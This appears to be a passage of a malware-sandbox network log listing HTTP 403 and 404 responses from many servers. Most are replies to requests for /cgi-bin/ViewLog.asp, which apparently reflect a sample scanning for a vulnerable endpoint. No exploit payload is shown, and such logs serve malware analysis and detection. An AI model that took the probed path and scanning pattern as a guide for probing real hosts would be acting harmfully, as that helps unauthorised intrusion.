    Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: Web serverDate: Thu, 23 Nov 2023 04:20:43 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>Web server</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0Date: Thu, 23 Nov 2023 04:21:01 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: PsiOcppAppConnection: keep-aliveDate:Thu, 23 Nov 2023 4:20:59 GMTContent-Length: 0Access-Control-Allow-Credentials: trueAccess-Control-Allow-Origin: http://192.168.0.14
    Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 23 Nov 2023 04:29:16 GMTServer: NetscapeKeep-Alive: timeout=15, max=99Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Data Raw: 31 32 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 48 31 3e 0a 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 50 3e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 4e 65 74 73 63 61 70 65 2f 42 69 61 6c 6c 2d 4e 65 74 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 123<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>403 Forbidden</TITLE></HEAD><BODY><H1>Forbidden</H1>You don't have permission to access /cgi-bin/ViewLog.aspon this server.<P><HR><ADDRESS>Netscape/Biall-Net Server at 192.168.0.14 Port 80</ADDRESS></BODY></HTML>0
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 05:21:19 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 207Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 68 6f 6d 65 2f 61 70 70 2f 77 65 62 73 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open document: /home/app/webs/cgi-bin/ViewLog.asp</p></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.10.3Date: Thu, 23 Nov 2023 04:21:21 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 38 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 19 1a e8 19 23 2b d1 07 59 02 32 54 1f ea 40 00 f8 e7 d5 4a a9 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 84(HML),I310Q/Qp/K&T*$'*gd*HN+I-0D7(bTgU#+Y2T@J0
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 05:21:28 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveTransfer-Encoding: chunked
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainDate: Thu, 23 Nov 2023 04:21:33 GMTContent-Length: 18Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found
    Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Security-Policy: frame-src 'self' https://traefik.io https://*.traefik.io;Content-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Thu, 23 Nov 2023 04:21:40 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainDate: Thu, 23 Nov 2023 04:21:42 GMTContent-Length: 18Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 23 Nov 2023 04:21:42 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 23 Nov 2023 04:21:42 GMTContent-Type: text/html; charset=utf-8Content-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Thu, 23 Nov 2023 04:21:43 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
    Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 23 Nov 2023 04:21:43 GMTServer: Apache/2.2.29 (Unix)Content-Length: 221Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /cgi-bin/ViewLog.aspon this server.</p></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Length: 1012Date: Thu, 23 Nov 2023 04:29:23 GMTData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 36 2e 30 2e 33 35 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 28 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 29 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0Date: Thu, 23 Nov 2023 04:22:11 GMTContent-Type: text/htmlContent-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 04:26:37 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=180, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.20.1Date: Thu, 23 Nov 2023 04:20:26 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.20.1</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 04:22:26 GMTServer: Apache/2.2.14 (FreeBSD) PHP/5.2.17 mod_ssl/2.2.14 OpenSSL/0.9.8kVary: accept-language,accept-charsetContent-Length: 458Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 34 20 28 46 72 65 65 42 53 44 29 20 50 48 50 2f 35 2e 32 2e 31 37 20 6d 6f 64 5f 73 73 6c 2f 32 2e 32 2e 31 34 20 4f 70 65 6e 53 53 4c 2f 30 2e 39 2e 38 6b 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.2.14 (FreeBSD) PHP/5.2.17 mod_ssl/2.2.14 OpenSSL/0.9.8k Server at 192.168.0.14 Port 80</address></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 NOT FOUNDServer: gunicornDate: Thu, 23 Nov 2023 04:22:33 GMTConnection: closeContent-Type: text/html; charset=utf-8Content-Length: 462X-Robots-Tag: noindex, nofollowSet-Cookie: session=4dc6e7f0-d0f7-4199-9f7b-6fe471a074e8.2sq7E9-BufsgVYjtFcITOc6T8iI; Expires=Sat, 23 Dec 2023 04:22:33 GMT; HttpOnly; Path=/; SameSite=Lax
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainDate: Thu, 23 Nov 2023 04:19:48 GMTContent-Length: 18Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Thu, 23 Nov 2023 04:22:34 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundConnection: keep-aliveServer: CowboyDate: Thu, 23 Nov 2023 04:22:39 GMTContent-Length: 10Data Raw: 4e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: Not found
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.0.15Date: Thu, 23 Nov 2023 04:22:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 30 2e 31 35 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.0.15</center></body></html>
    Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.0.15Date: Thu, 23 Nov 2023 04:22:40 GMTContent-Type: text/html; charset=utf-8Content-Length: 169Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 30 2e 31 35 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.0.15</center></body></html>
